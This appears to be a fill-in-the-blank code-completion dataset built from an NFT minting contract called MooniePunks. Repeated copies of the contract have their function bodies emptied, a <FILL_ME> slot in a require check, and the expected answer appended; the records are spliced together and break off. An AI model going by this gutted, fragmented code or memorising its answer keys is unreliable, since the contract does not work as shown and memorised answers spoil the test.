mintCompliance(_mintAmount, maxVipMintAmount)
membershipCompliance(maxMintAmount, _tokenId, MembershipType.VIP)
{
}
function mint(uint256 _mintAmount)
public
notPaused
mintCompliance(_mintAmount, maxMintAmount)
{
}
/// @dev The owner can mint tokens to any address.
/// The mintCompliance modifier still governs the maximum amount.
function mintForAddress(uint256 _mintAmount, address _receiver)
public
mintCompliance(_mintAmount, maxMintAmount)
onlyOwner
{
}
//***************************************************************************
// VIEW FUNCTIONS
//***************************************************************************
function remainingReservedSupply() public view returns (uint256) {
}
function getMembershipType(uint256 _tokenId, uint256 _maxStandard)
public
pure
returns (MembershipType _memberType)
{
}
/// @dev Verifies that the user has a membership token.
function verifyMembership(uint256 _tokenId)
public
view
returns (bool _isMember, MembershipType _memberType)
{
}
/// @dev Checks to see if a membership token as been used to mint already.
function checkMembershipToken(uint256 _tokenId)
public
view
returns (bool _isMinted)
{
}
function verifyOwnershipOfTokens(uint256[] memory _tokenIds)
internal
view
returns (bool)
{
}
/// @dev Users can blend tokens for reasons...
function blend(uint256[] calldata _tokenIds) public {
}
function claimBlend(address _origin) public {
}
/// @dev Returns an array of token IDs that the provided address owns.
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
//***************************************************************************
// CRUD FUNCTIONS
//***************************************************************************
function setMaxMintAmount(uint256 _maxMintAmount) public onlyOwner {
}
function setMaxVipMintAmount(uint256 _maxVipMintAmount) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setBlendEnabled(bool _state) public onlyOwner {
}
function setBlendContract(address _blendContract) public onlyOwner {
}
function setRequiredToBlend(uint256 _requiredToBlend) public onlyOwner {
}
/// @dev Use this in the event that not all CREEK+ members mint, and you
/// need to dispurse the remaining supply as promotions.
function disableRedemptions() public onlyOwner {
}
function setMembershipContract(address _membershipContract)
public
onlyOwner
{
}
function setOwnerWallet(address _ownerWallet) public onlyOwner {
}
/// @notice This is a free mint, so theoretially, this should never be called,
/// but it's here in case funds are ever accidentally sent to the contract.
function withdraw() public onlyOwner nonReentrant {
}
}
| _totalMinted()+_mintAmount<=maxSupply,"Max supply exceeded!" | 245,162 | _totalMinted()+_mintAmount<=maxSupply |
"Exceeds max mint amount" | // SPDX-License-Identifier: MIT
/**
################&&&&&###############&&&&&########&&&&&###############&&&&&######
######&&&&&####&GJJY#&#############&GJJY#&######&#YJJG&#############&#YJJG&#####
###############&Y .B&#############&Y .B&######&B. Y&#############&B. Y&#####
#####&5::^B&###&BPPG###&&&&########&BPPG&&&&######GPP#&&&######&&&&###GPPB&#####
#####&5^^~#&####&&&&##&BBBB&########&&&#PPPB&#####&&&GPPG&####&GPPG&##&&&&######
######&&&&&&&&########&5JJ5&##########&B Y&#######&~ ~&##&&&~ ~&&&##########
######&&&#!!~P&&&#####&PYYP&########&&YYB&&&#####&PYYP&&#!~!. .!~!#&########
#######GGP. JBGB#####&5JJ5&#########################&&&&#&B:.. ..:B&########
#####&Y ~&####&!..!&##&&&&&&BYYYYYYYYYP&&&&&&##########~ ~#############
#####&G??? ~??Y&###&&! !&&#GPGGGG5YYYYYYYYY5GGGGGPB&######&&Y??Y&&###########
######&&&#: 5@&&######! !###YYYYYYYYYYYYYYYYYYYYYYYG#########&&&&#############
##########GGG###&&&#^::. ~5Y5B######################PYYP&&&##########&&&#######
##########&&&##&GYYY. ^~^7PPP#######################GPPPGGB##########5YYG######
###############&Y .. 7YYP&&#########################&&BJYY########&B Y&#####
###############&Y ..7??PBBB######?^^?#########5^~~B####&BYYY##########PP5B######
###############&Y ..JYYB&&#######~ ~#########Y .B####&BYYY##########&&&#######
###&&&&########&Y ..JYYB&########~ ~#########Y .B####&BYYY####################
###J!!J########&Y ..JYYB&########~ ~#########Y .B####&BYYY####################
##&! !&#######&Y ..JYYB&########~ ~#########Y .B####&BYYY#######BBB##########
###BBBB########&Y ..JYYB&&#######~ ~#########Y .B####&BYYY###&&&5..:#&&#######
###############&Y ..!7!5GGB######J!!J#########P!!7B####&BYYY###5JJ! ?JJG######
###############&Y .. 7YJP&###########################&BYYY##&~ Y&#####
#####&5::^B#####BPGP:..:::!55P#&&GPPPPPPPPPPPPPPPG##&G55PBBB###GPG? 5PPB######
#####&5^^~B##BBBBBBG:.... ^?7?GBBP5555555555555555BBBY77Y&######&&P^~!#&&#######
#############5JYYYYJ........ .JYYYYYYYYYYYYYYYYYYYYYY~. !&&#####################
#############5YYYYYJ..........^~~~~~~~~~~~~~~~~~~~~~~:..:!!7####################
#############5YYYYYJ..................................... .PGGB#########BGGB###
#############5YYYYYJ...........................................5&########~ ~###
#############5YYYYYJ.......................................... Y&########Y??Y###
####BB####BB#5JYYYYJ...........................................Y&##BBB####&&####
###!..!##B^:::::::::............... ^JJJYYYJJJ7 ...............Y&&Y..:B#########
###?~~?##B: ....................^~^7YYY555YYY?^~^............ Y##5~~!B#########
#########B: ....................?YYY555555555YYYJ............ Y&###############
##########PPPJ?????7.............?5Y55555555555Y5Y:........... Y################
############&PYYYYYJ.............?555555555555555Y:............Y#########GPPG###
#############5YYYYYJ.............?YYY555555555YYYJ:............Y#########~ ~###
#############5YYYYYJ.............^~~7YYY555YYYJ~~~.............Y#########5JJ5###
#############5YYYYYJ.............. ~YYY555YYY7 ..............Y##########&&####
*/
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract MooniePunks is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
mapping(address => uint256) public publicMinted;
mapping(address => uint256) public blended;
mapping(uint256 => uint256) public premiumMinted;
mapping(uint256 => uint256) public vipMinted;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public maxSupply;
uint256 public maxMintAmount;
uint256 public maxVipMintAmount;
uint256 public remainingMembershipMints = 400;
uint256 public remainingPromoMints = 100;
uint256 public requiredToBlend;
bool public paused = true;
bool public blendEnabled = false;
address public membershipContract;
address public ownerWallet;
address public blendContract;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
string memory _uriPrefix,
uint256 _maxSupply,
uint256 _maxMintAmount,
uint256 _maxVipMintAmount,
address _ownerWallet,
address _membershipContract
) ERC721A(_tokenName, _tokenSymbol) {
}
/// @dev We are ensuring the user cannot mint more than the max amount
/// that we specify, as well as the current max supply.
//***************************************************************************
// MODIFIERS
//***************************************************************************
modifier mintCompliance(uint256 _mintAmount, uint256 _maxMintAmount) {
}
/**
* @dev We first verify the users membership status, and determine what
* type of membership they are using to mint.
*
* We then check to confirm that the total mint amount does not exceed the
* remaining membership mints.
*
* Finally, we check the token id of their membership NFT, and ensure that it
* has not been used previously.
*/
modifier membershipCompliance(
uint256 _mintAmount,
uint256 _tokenId,
MembershipType _memberType
) {
}
/// @dev Users cannot mint if contract is paused
modifier notPaused() {
}
//***************************************************************************
// ENUMS
//***************************************************************************
enum MembershipType {
PREMIUM,
VIP
}
//***************************************************************************
// MINT FUNCTIONS
//***************************************************************************
/**
* @notice The premiumMint and vipMint functions can only be called once per membership token id.
* We have provided a checkMembershipToken function that will allow users to check to see if a membership token has already minted.
*/
function premiumMint(uint256 _mintAmount, uint256 _tokenId)
public
notPaused
mintCompliance(_mintAmount, maxMintAmount)
membershipCompliance(maxMintAmount, _tokenId, MembershipType.PREMIUM)
{
require(<FILL_ME>)
premiumMinted[_tokenId] += _mintAmount;
remainingMembershipMints -= _mintAmount;
_safeMint(_msgSender(), _mintAmount);
}
/// @notice VIP perks include ten free mints per VIP Card holder.
function vipMint(uint256 _mintAmount, uint256 _tokenId)
public
notPaused
mintCompliance(_mintAmount, maxVipMintAmount)
membershipCompliance(maxMintAmount, _tokenId, MembershipType.VIP)
{
}
function mint(uint256 _mintAmount)
public
notPaused
mintCompliance(_mintAmount, maxMintAmount)
{
}
/// @dev The owner can mint tokens to any address.
/// The mintCompliance modifier still governs the maximum amount.
function mintForAddress(uint256 _mintAmount, address _receiver)
public
mintCompliance(_mintAmount, maxMintAmount)
onlyOwner
{
}
//***************************************************************************
// VIEW FUNCTIONS
//***************************************************************************
function remainingReservedSupply() public view returns (uint256) {
}
function getMembershipType(uint256 _tokenId, uint256 _maxStandard)
public
pure
returns (MembershipType _memberType)
{
}
/// @dev Verifies that the user has a membership token.
function verifyMembership(uint256 _tokenId)
public
view
returns (bool _isMember, MembershipType _memberType)
{
}
/// @dev Checks to see if a membership token as been used to mint already.
function checkMembershipToken(uint256 _tokenId)
public
view
returns (bool _isMinted)
{
}
function verifyOwnershipOfTokens(uint256[] memory _tokenIds)
internal
view
returns (bool)
{
}
/// @dev Users can blend tokens for reasons...
function blend(uint256[] calldata _tokenIds) public {
}
function claimBlend(address _origin) public {
}
/// @dev Returns an array of token IDs that the provided address owns.
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
//***************************************************************************
// CRUD FUNCTIONS
//***************************************************************************
function setMaxMintAmount(uint256 _maxMintAmount) public onlyOwner {
}
function setMaxVipMintAmount(uint256 _maxVipMintAmount) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setBlendEnabled(bool _state) public onlyOwner {
}
function setBlendContract(address _blendContract) public onlyOwner {
}
function setRequiredToBlend(uint256 _requiredToBlend) public onlyOwner {
}
/// @dev Use this in the event that not all CREEK+ members mint, and you
/// need to dispurse the remaining supply as promotions.
function disableRedemptions() public onlyOwner {
}
function setMembershipContract(address _membershipContract)
public
onlyOwner
{
}
function setOwnerWallet(address _ownerWallet) public onlyOwner {
}
/// @notice This is a free mint, so theoretially, this should never be called,
/// but it's here in case funds are ever accidentally sent to the contract.
function withdraw() public onlyOwner nonReentrant {
}
}
| premiumMinted[_tokenId]+_mintAmount<=maxMintAmount,"Exceeds max mint amount" | 245,162 | premiumMinted[_tokenId]+_mintAmount<=maxMintAmount |
"Exceeds max mint amount" | // SPDX-License-Identifier: MIT
/**
################&&&&&###############&&&&&########&&&&&###############&&&&&######
######&&&&&####&GJJY#&#############&GJJY#&######&#YJJG&#############&#YJJG&#####
###############&Y .B&#############&Y .B&######&B. Y&#############&B. Y&#####
#####&5::^B&###&BPPG###&&&&########&BPPG&&&&######GPP#&&&######&&&&###GPPB&#####
#####&5^^~#&####&&&&##&BBBB&########&&&#PPPB&#####&&&GPPG&####&GPPG&##&&&&######
######&&&&&&&&########&5JJ5&##########&B Y&#######&~ ~&##&&&~ ~&&&##########
######&&&#!!~P&&&#####&PYYP&########&&YYB&&&#####&PYYP&&#!~!. .!~!#&########
#######GGP. JBGB#####&5JJ5&#########################&&&&#&B:.. ..:B&########
#####&Y ~&####&!..!&##&&&&&&BYYYYYYYYYP&&&&&&##########~ ~#############
#####&G??? ~??Y&###&&! !&&#GPGGGG5YYYYYYYYY5GGGGGPB&######&&Y??Y&&###########
######&&&#: 5@&&######! !###YYYYYYYYYYYYYYYYYYYYYYYG#########&&&&#############
##########GGG###&&&#^::. ~5Y5B######################PYYP&&&##########&&&#######
##########&&&##&GYYY. ^~^7PPP#######################GPPPGGB##########5YYG######
###############&Y .. 7YYP&&#########################&&BJYY########&B Y&#####
###############&Y ..7??PBBB######?^^?#########5^~~B####&BYYY##########PP5B######
###############&Y ..JYYB&&#######~ ~#########Y .B####&BYYY##########&&&#######
###&&&&########&Y ..JYYB&########~ ~#########Y .B####&BYYY####################
###J!!J########&Y ..JYYB&########~ ~#########Y .B####&BYYY####################
##&! !&#######&Y ..JYYB&########~ ~#########Y .B####&BYYY#######BBB##########
###BBBB########&Y ..JYYB&&#######~ ~#########Y .B####&BYYY###&&&5..:#&&#######
###############&Y ..!7!5GGB######J!!J#########P!!7B####&BYYY###5JJ! ?JJG######
###############&Y .. 7YJP&###########################&BYYY##&~ Y&#####
#####&5::^B#####BPGP:..:::!55P#&&GPPPPPPPPPPPPPPPG##&G55PBBB###GPG? 5PPB######
#####&5^^~B##BBBBBBG:.... ^?7?GBBP5555555555555555BBBY77Y&######&&P^~!#&&#######
#############5JYYYYJ........ .JYYYYYYYYYYYYYYYYYYYYYY~. !&&#####################
#############5YYYYYJ..........^~~~~~~~~~~~~~~~~~~~~~~:..:!!7####################
#############5YYYYYJ..................................... .PGGB#########BGGB###
#############5YYYYYJ...........................................5&########~ ~###
#############5YYYYYJ.......................................... Y&########Y??Y###
####BB####BB#5JYYYYJ...........................................Y&##BBB####&&####
###!..!##B^:::::::::............... ^JJJYYYJJJ7 ...............Y&&Y..:B#########
###?~~?##B: ....................^~^7YYY555YYY?^~^............ Y##5~~!B#########
#########B: ....................?YYY555555555YYYJ............ Y&###############
##########PPPJ?????7.............?5Y55555555555Y5Y:........... Y################
############&PYYYYYJ.............?555555555555555Y:............Y#########GPPG###
#############5YYYYYJ.............?YYY555555555YYYJ:............Y#########~ ~###
#############5YYYYYJ.............^~~7YYY555YYYJ~~~.............Y#########5JJ5###
#############5YYYYYJ.............. ~YYY555YYY7 ..............Y##########&&####
*/
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract MooniePunks is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
mapping(address => uint256) public publicMinted;
mapping(address => uint256) public blended;
mapping(uint256 => uint256) public premiumMinted;
mapping(uint256 => uint256) public vipMinted;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public maxSupply;
uint256 public maxMintAmount;
uint256 public maxVipMintAmount;
uint256 public remainingMembershipMints = 400;
uint256 public remainingPromoMints = 100;
uint256 public requiredToBlend;
bool public paused = true;
bool public blendEnabled = false;
address public membershipContract;
address public ownerWallet;
address public blendContract;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
string memory _uriPrefix,
uint256 _maxSupply,
uint256 _maxMintAmount,
uint256 _maxVipMintAmount,
address _ownerWallet,
address _membershipContract
) ERC721A(_tokenName, _tokenSymbol) {
}
/// @dev We are ensuring the user cannot mint more than the max amount
/// that we specify, as well as the current max supply.
//***************************************************************************
// MODIFIERS
//***************************************************************************
modifier mintCompliance(uint256 _mintAmount, uint256 _maxMintAmount) {
}
/**
* @dev We first verify the users membership status, and determine what
* type of membership they are using to mint.
*
* We then check to confirm that the total mint amount does not exceed the
* remaining membership mints.
*
* Finally, we check the token id of their membership NFT, and ensure that it
* has not been used previously.
*/
modifier membershipCompliance(
uint256 _mintAmount,
uint256 _tokenId,
MembershipType _memberType
) {
}
/// @dev Users cannot mint if contract is paused
modifier notPaused() {
}
//***************************************************************************
// ENUMS
//***************************************************************************
enum MembershipType {
PREMIUM,
VIP
}
//***************************************************************************
// MINT FUNCTIONS
//***************************************************************************
/**
* @notice The premiumMint and vipMint functions can only be called once per membership token id.
* We have provided a checkMembershipToken function that will allow users to check to see if a membership token has already minted.
*/
function premiumMint(uint256 _mintAmount, uint256 _tokenId)
public
notPaused
mintCompliance(_mintAmount, maxMintAmount)
membershipCompliance(maxMintAmount, _tokenId, MembershipType.PREMIUM)
{
}
/// @notice VIP perks include ten free mints per VIP Card holder.
function vipMint(uint256 _mintAmount, uint256 _tokenId)
public
notPaused
mintCompliance(_mintAmount, maxVipMintAmount)
membershipCompliance(maxMintAmount, _tokenId, MembershipType.VIP)
{
require(<FILL_ME>)
vipMinted[_tokenId] += _mintAmount;
remainingMembershipMints -= _mintAmount;
_safeMint(_msgSender(), _mintAmount);
}
function mint(uint256 _mintAmount)
public
notPaused
mintCompliance(_mintAmount, maxMintAmount)
{
}
/// @dev The owner can mint tokens to any address.
/// The mintCompliance modifier still governs the maximum amount.
function mintForAddress(uint256 _mintAmount, address _receiver)
public
mintCompliance(_mintAmount, maxMintAmount)
onlyOwner
{
}
//***************************************************************************
// VIEW FUNCTIONS
//***************************************************************************
function remainingReservedSupply() public view returns (uint256) {
}
function getMembershipType(uint256 _tokenId, uint256 _maxStandard)
public
pure
returns (MembershipType _memberType)
{
}
/// @dev Verifies that the user has a membership token.
function verifyMembership(uint256 _tokenId)
public
view
returns (bool _isMember, MembershipType _memberType)
{
}
/// @dev Checks to see if a membership token as been used to mint already.
function checkMembershipToken(uint256 _tokenId)
public
view
returns (bool _isMinted)
{
}
function verifyOwnershipOfTokens(uint256[] memory _tokenIds)
internal
view
returns (bool)
{
}
/// @dev Users can blend tokens for reasons...
function blend(uint256[] calldata _tokenIds) public {
}
function claimBlend(address _origin) public {
}
/// @dev Returns an array of token IDs that the provided address owns.
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
//***************************************************************************
// CRUD FUNCTIONS
//***************************************************************************
function setMaxMintAmount(uint256 _maxMintAmount) public onlyOwner {
}
function setMaxVipMintAmount(uint256 _maxVipMintAmount) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setBlendEnabled(bool _state) public onlyOwner {
}
function setBlendContract(address _blendContract) public onlyOwner {
}
function setRequiredToBlend(uint256 _requiredToBlend) public onlyOwner {
}
/// @dev Use this in the event that not all CREEK+ members mint, and you
/// need to dispurse the remaining supply as promotions.
function disableRedemptions() public onlyOwner {
}
function setMembershipContract(address _membershipContract)
public
onlyOwner
{
}
function setOwnerWallet(address _ownerWallet) public onlyOwner {
}
/// @notice This is a free mint, so theoretially, this should never be called,
/// but it's here in case funds are ever accidentally sent to the contract.
function withdraw() public onlyOwner nonReentrant {
}
}
| vipMinted[_tokenId]+_mintAmount<=maxVipMintAmount,"Exceeds max mint amount" | 245,162 | vipMinted[_tokenId]+_mintAmount<=maxVipMintAmount |
"Max supply exceeded!" | // SPDX-License-Identifier: MIT
/**
################&&&&&###############&&&&&########&&&&&###############&&&&&######
######&&&&&####&GJJY#&#############&GJJY#&######&#YJJG&#############&#YJJG&#####
###############&Y .B&#############&Y .B&######&B. Y&#############&B. Y&#####
#####&5::^B&###&BPPG###&&&&########&BPPG&&&&######GPP#&&&######&&&&###GPPB&#####
#####&5^^~#&####&&&&##&BBBB&########&&&#PPPB&#####&&&GPPG&####&GPPG&##&&&&######
######&&&&&&&&########&5JJ5&##########&B Y&#######&~ ~&##&&&~ ~&&&##########
######&&&#!!~P&&&#####&PYYP&########&&YYB&&&#####&PYYP&&#!~!. .!~!#&########
#######GGP. JBGB#####&5JJ5&#########################&&&&#&B:.. ..:B&########
#####&Y ~&####&!..!&##&&&&&&BYYYYYYYYYP&&&&&&##########~ ~#############
#####&G??? ~??Y&###&&! !&&#GPGGGG5YYYYYYYYY5GGGGGPB&######&&Y??Y&&###########
######&&&#: 5@&&######! !###YYYYYYYYYYYYYYYYYYYYYYYG#########&&&&#############
##########GGG###&&&#^::. ~5Y5B######################PYYP&&&##########&&&#######
##########&&&##&GYYY. ^~^7PPP#######################GPPPGGB##########5YYG######
###############&Y .. 7YYP&&#########################&&BJYY########&B Y&#####
###############&Y ..7??PBBB######?^^?#########5^~~B####&BYYY##########PP5B######
###############&Y ..JYYB&&#######~ ~#########Y .B####&BYYY##########&&&#######
###&&&&########&Y ..JYYB&########~ ~#########Y .B####&BYYY####################
###J!!J########&Y ..JYYB&########~ ~#########Y .B####&BYYY####################
##&! !&#######&Y ..JYYB&########~ ~#########Y .B####&BYYY#######BBB##########
###BBBB########&Y ..JYYB&&#######~ ~#########Y .B####&BYYY###&&&5..:#&&#######
###############&Y ..!7!5GGB######J!!J#########P!!7B####&BYYY###5JJ! ?JJG######
###############&Y .. 7YJP&###########################&BYYY##&~ Y&#####
#####&5::^B#####BPGP:..:::!55P#&&GPPPPPPPPPPPPPPPG##&G55PBBB###GPG? 5PPB######
#####&5^^~B##BBBBBBG:.... ^?7?GBBP5555555555555555BBBY77Y&######&&P^~!#&&#######
#############5JYYYYJ........ .JYYYYYYYYYYYYYYYYYYYYYY~. !&&#####################
#############5YYYYYJ..........^~~~~~~~~~~~~~~~~~~~~~~:..:!!7####################
#############5YYYYYJ..................................... .PGGB#########BGGB###
#############5YYYYYJ...........................................5&########~ ~###
#############5YYYYYJ.......................................... Y&########Y??Y###
####BB####BB#5JYYYYJ...........................................Y&##BBB####&&####
###!..!##B^:::::::::............... ^JJJYYYJJJ7 ...............Y&&Y..:B#########
###?~~?##B: ....................^~^7YYY555YYY?^~^............ Y##5~~!B#########
#########B: ....................?YYY555555555YYYJ............ Y&###############
##########PPPJ?????7.............?5Y55555555555Y5Y:........... Y################
############&PYYYYYJ.............?555555555555555Y:............Y#########GPPG###
#############5YYYYYJ.............?YYY555555555YYYJ:............Y#########~ ~###
#############5YYYYYJ.............^~~7YYY555YYYJ~~~.............Y#########5JJ5###
#############5YYYYYJ.............. ~YYY555YYY7 ..............Y##########&&####
*/
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract MooniePunks is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
mapping(address => uint256) public publicMinted;
mapping(address => uint256) public blended;
mapping(uint256 => uint256) public premiumMinted;
mapping(uint256 => uint256) public vipMinted;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public maxSupply;
uint256 public maxMintAmount;
uint256 public maxVipMintAmount;
uint256 public remainingMembershipMints = 400;
uint256 public remainingPromoMints = 100;
uint256 public requiredToBlend;
bool public paused = true;
bool public blendEnabled = false;
address public membershipContract;
address public ownerWallet;
address public blendContract;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
string memory _uriPrefix,
uint256 _maxSupply,
uint256 _maxMintAmount,
uint256 _maxVipMintAmount,
address _ownerWallet,
address _membershipContract
) ERC721A(_tokenName, _tokenSymbol) {
}
/// @dev We are ensuring the user cannot mint more than the max amount
/// that we specify, as well as the current max supply.
//***************************************************************************
// MODIFIERS
//***************************************************************************
modifier mintCompliance(uint256 _mintAmount, uint256 _maxMintAmount) {
}
/**
* @dev We first verify the users membership status, and determine what
* type of membership they are using to mint.
*
* We then check to confirm that the total mint amount does not exceed the
* remaining membership mints.
*
* Finally, we check the token id of their membership NFT, and ensure that it
* has not been used previously.
*/
modifier membershipCompliance(
uint256 _mintAmount,
uint256 _tokenId,
MembershipType _memberType
) {
}
/// @dev Users cannot mint if contract is paused
modifier notPaused() {
}
//***************************************************************************
// ENUMS
//***************************************************************************
enum MembershipType {
PREMIUM,
VIP
}
//***************************************************************************
// MINT FUNCTIONS
//***************************************************************************
/**
* @notice The premiumMint and vipMint functions can only be called once per membership token id.
* We have provided a checkMembershipToken function that will allow users to check to see if a membership token has already minted.
*/
function premiumMint(uint256 _mintAmount, uint256 _tokenId)
public
notPaused
mintCompliance(_mintAmount, maxMintAmount)
membershipCompliance(maxMintAmount, _tokenId, MembershipType.PREMIUM)
{
}
/// @notice VIP perks include ten free mints per VIP Card holder.
function vipMint(uint256 _mintAmount, uint256 _tokenId)
public
notPaused
mintCompliance(_mintAmount, maxVipMintAmount)
membershipCompliance(maxMintAmount, _tokenId, MembershipType.VIP)
{
}
function mint(uint256 _mintAmount)
public
notPaused
mintCompliance(_mintAmount, maxMintAmount)
{
require(<FILL_ME>)
require(
publicMinted[_msgSender()] + _mintAmount <= maxMintAmount,
"Exceeds max mint amount"
);
publicMinted[_msgSender()] += _mintAmount;
_safeMint(_msgSender(), _mintAmount);
}
/// @dev The owner can mint tokens to any address.
/// The mintCompliance modifier still governs the maximum amount.
function mintForAddress(uint256 _mintAmount, address _receiver)
public
mintCompliance(_mintAmount, maxMintAmount)
onlyOwner
{
}
//***************************************************************************
// VIEW FUNCTIONS
//***************************************************************************
function remainingReservedSupply() public view returns (uint256) {
}
function getMembershipType(uint256 _tokenId, uint256 _maxStandard)
public
pure
returns (MembershipType _memberType)
{
}
/// @dev Verifies that the user has a membership token.
function verifyMembership(uint256 _tokenId)
public
view
returns (bool _isMember, MembershipType _memberType)
{
}
/// @dev Checks to see if a membership token as been used to mint already.
function checkMembershipToken(uint256 _tokenId)
public
view
returns (bool _isMinted)
{
}
function verifyOwnershipOfTokens(uint256[] memory _tokenIds)
internal
view
returns (bool)
{
}
/// @dev Users can blend tokens for reasons...
function blend(uint256[] calldata _tokenIds) public {
}
function claimBlend(address _origin) public {
}
/// @dev Returns an array of token IDs that the provided address owns.
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
//***************************************************************************
// CRUD FUNCTIONS
//***************************************************************************
function setMaxMintAmount(uint256 _maxMintAmount) public onlyOwner {
}
function setMaxVipMintAmount(uint256 _maxVipMintAmount) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setBlendEnabled(bool _state) public onlyOwner {
}
function setBlendContract(address _blendContract) public onlyOwner {
}
function setRequiredToBlend(uint256 _requiredToBlend) public onlyOwner {
}
/// @dev Use this in the event that not all CREEK+ members mint, and you
/// need to dispurse the remaining supply as promotions.
function disableRedemptions() public onlyOwner {
}
function setMembershipContract(address _membershipContract)
public
onlyOwner
{
}
function setOwnerWallet(address _ownerWallet) public onlyOwner {
}
/// @notice This is a free mint, so theoretially, this should never be called,
/// but it's here in case funds are ever accidentally sent to the contract.
function withdraw() public onlyOwner nonReentrant {
}
}
| _totalMinted()+_mintAmount<=maxSupply-remainingReservedSupply(),"Max supply exceeded!" | 245,162 | _totalMinted()+_mintAmount<=maxSupply-remainingReservedSupply() |
"Exceeds max mint amount" | // SPDX-License-Identifier: MIT
/**
################&&&&&###############&&&&&########&&&&&###############&&&&&######
######&&&&&####&GJJY#&#############&GJJY#&######&#YJJG&#############&#YJJG&#####
###############&Y .B&#############&Y .B&######&B. Y&#############&B. Y&#####
#####&5::^B&###&BPPG###&&&&########&BPPG&&&&######GPP#&&&######&&&&###GPPB&#####
#####&5^^~#&####&&&&##&BBBB&########&&&#PPPB&#####&&&GPPG&####&GPPG&##&&&&######
######&&&&&&&&########&5JJ5&##########&B Y&#######&~ ~&##&&&~ ~&&&##########
######&&&#!!~P&&&#####&PYYP&########&&YYB&&&#####&PYYP&&#!~!. .!~!#&########
#######GGP. JBGB#####&5JJ5&#########################&&&&#&B:.. ..:B&########
#####&Y ~&####&!..!&##&&&&&&BYYYYYYYYYP&&&&&&##########~ ~#############
#####&G??? ~??Y&###&&! !&&#GPGGGG5YYYYYYYYY5GGGGGPB&######&&Y??Y&&###########
######&&&#: 5@&&######! !###YYYYYYYYYYYYYYYYYYYYYYYG#########&&&&#############
##########GGG###&&&#^::. ~5Y5B######################PYYP&&&##########&&&#######
##########&&&##&GYYY. ^~^7PPP#######################GPPPGGB##########5YYG######
###############&Y .. 7YYP&&#########################&&BJYY########&B Y&#####
###############&Y ..7??PBBB######?^^?#########5^~~B####&BYYY##########PP5B######
###############&Y ..JYYB&&#######~ ~#########Y .B####&BYYY##########&&&#######
###&&&&########&Y ..JYYB&########~ ~#########Y .B####&BYYY####################
###J!!J########&Y ..JYYB&########~ ~#########Y .B####&BYYY####################
##&! !&#######&Y ..JYYB&########~ ~#########Y .B####&BYYY#######BBB##########
###BBBB########&Y ..JYYB&&#######~ ~#########Y .B####&BYYY###&&&5..:#&&#######
###############&Y ..!7!5GGB######J!!J#########P!!7B####&BYYY###5JJ! ?JJG######
###############&Y .. 7YJP&###########################&BYYY##&~ Y&#####
#####&5::^B#####BPGP:..:::!55P#&&GPPPPPPPPPPPPPPPG##&G55PBBB###GPG? 5PPB######
#####&5^^~B##BBBBBBG:.... ^?7?GBBP5555555555555555BBBY77Y&######&&P^~!#&&#######
#############5JYYYYJ........ .JYYYYYYYYYYYYYYYYYYYYYY~. !&&#####################
#############5YYYYYJ..........^~~~~~~~~~~~~~~~~~~~~~~:..:!!7####################
#############5YYYYYJ..................................... .PGGB#########BGGB###
#############5YYYYYJ...........................................5&########~ ~###
#############5YYYYYJ.......................................... Y&########Y??Y###
####BB####BB#5JYYYYJ...........................................Y&##BBB####&&####
###!..!##B^:::::::::............... ^JJJYYYJJJ7 ...............Y&&Y..:B#########
###?~~?##B: ....................^~^7YYY555YYY?^~^............ Y##5~~!B#########
#########B: ....................?YYY555555555YYYJ............ Y&###############
##########PPPJ?????7.............?5Y55555555555Y5Y:........... Y################
############&PYYYYYJ.............?555555555555555Y:............Y#########GPPG###
#############5YYYYYJ.............?YYY555555555YYYJ:............Y#########~ ~###
#############5YYYYYJ.............^~~7YYY555YYYJ~~~.............Y#########5JJ5###
#############5YYYYYJ.............. ~YYY555YYY7 ..............Y##########&&####
*/
pragma solidity ^0.8.9;
